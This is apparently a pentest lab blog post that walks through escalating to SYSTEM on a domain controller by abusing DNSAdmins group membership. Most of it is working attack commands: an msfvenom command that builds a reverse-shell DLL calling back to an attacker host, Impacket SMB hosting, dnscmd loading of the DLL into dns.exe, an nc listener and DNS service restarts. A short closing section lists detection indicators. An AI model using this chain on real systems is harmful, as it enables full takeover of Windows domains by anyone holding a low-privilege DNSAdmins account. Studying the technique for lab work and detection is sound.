While working on a pentest lab which required abusing dnsadmin privileges, I came across this post , which is really good but felt like it didn’t properly explain few things including syntax. So this post is just an extension of that post and what i learnt while following this privesc method.
Note: Only for educational purposes.
When can we use this method?
This method can be used when we have access to user account who happens to be a member of DNSAdmins group or when the compromised user account has write privileges to a DNS server object. You can check if a user is in DNSAdmins group by using the command,
net user <userName> /domain
eg: net user comp /domain
if the output contains DNSAdmins in it’s group memberships, then the user belongs to the group and we can abuse his membership to escalate to Administrator rights. In my pentest lab, the concerned user was part of a group which was alias for DNSAdmins. So, maybe lookout for those details.
What do we do in this method?
In this method, we load an arbitrary DLL with SYSTEM privileges on the DNS server. i.e., We will build a DLL which contains reverse tcp code and inject it into dns.exe process on the victim’s DNS Server (DC). In case your work requires building a DLL which exports all necessary functions refer this post or this screenshot for building the DLL instead of msfvenom. You can also use remote dll injector.
Building the DLL using msfvenom:
Since my pentest lab didn’t require the DLL to have all necessary exports, I decided to go with msfvenom instead. While building a payload you have to take the target machine’s architecture in consideration too (X86/x64). One thing i learnt during this pentest lab was that meterpreter shells are blocked by Antivirus/Windows Defender, to be specific, the staged ones. The difference between staged and stageless payloads are described in detail in this rapid7 post.
I later found that stageless payloads have limitations which do not allow dll injections for now. it can be tracked in this GitHub issue. So i decided to go for more simple payloads without meterpreter. My victim had a 64 bit arch, so i generated a dll with the following command,
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.43.100 LPORT=4444 -f dll > privesc.dll
Hosting the payload
Once the payload is generated, we have to find a way to access the payload in victim’s machine. There are plenty of ways to transfer files to windows from Linux, but in this case, we will use smb server to host the file. We are choosing this, because windows supports UNC paths and samba shares by default in most cases. Also, there are times when the victim’s AV or defender may delete the payload if uploaded, so we’ll stick with smb server for this one. However dealing with smb can be quite tricky on *nix, but luckily we have scripts that can make the process a lot easier. We will use Impacket’s smb server to host our file.
sudo python smbserver.py <shareName> <path/of/share>
eg: sudo python smbserver.py share ./
You can check if the server is working by using smbclient on a new terminal,
smbclient -L your_smb_server_ip --no-pass
(assuming you didn't set username and password)
eg: smbclient -L 192.168.43.100 --no-pass
you can also check if the victim is able to access the share using the following command on victim’s shell,
net view \\your_smb_server_ip
eg: net view \\192.168.43.100
As you can see accessing smb share is really easy by using UNC paths. for example, to access our privesc.dll, we can simply use the following UNC path \\192.168.43.100\share\privesc.dll
Injecting the DLL in dns.exe
We can use the below command on power shell to inject the generated payload
dnscmd <FQDN of DC> /config /serverlevelplugindll \\UNC_patheg:dnscmd testmachine.test.local /config /serverlevelplugindll \\192.168.43.100\share\privesc.dll
Normally we cannot check if the dll was added, as it requires Administrator privileges, but in our case we did have an admin account, so we can check using the following command,
PS C:\> Get-ItemProperty
HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
Listening for connection and restarting dns if required
We can use a normal listener like nc for listening on the proper port. In case you don’t get a connection, you can try restarting the dns server on your own. this is possible because the victim is part of DNSAdmins group.
Note: the default configuration will not allow restarting the server.
Listener: nc -lvnp 4444
For restarting the server
sc.exe <FQDN of DC> stop dns
sc.exe <FQDN of DC> start dns
And that’s it, you should have a shell with Administrator privileges by now.
Detecting the attack:
The article by labofpenetrationtester also has mentioned ways to detect this attack,
To prevent the attack, audit ACL for write privilege to DNS server object and membership of DNSAdmins group.
Obvious indicators like DNS service restart and couple of log entries:
DNS Server Log Event ID 150 for failure and 770 for success
Monitoring changes to HKLM:\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll will also help.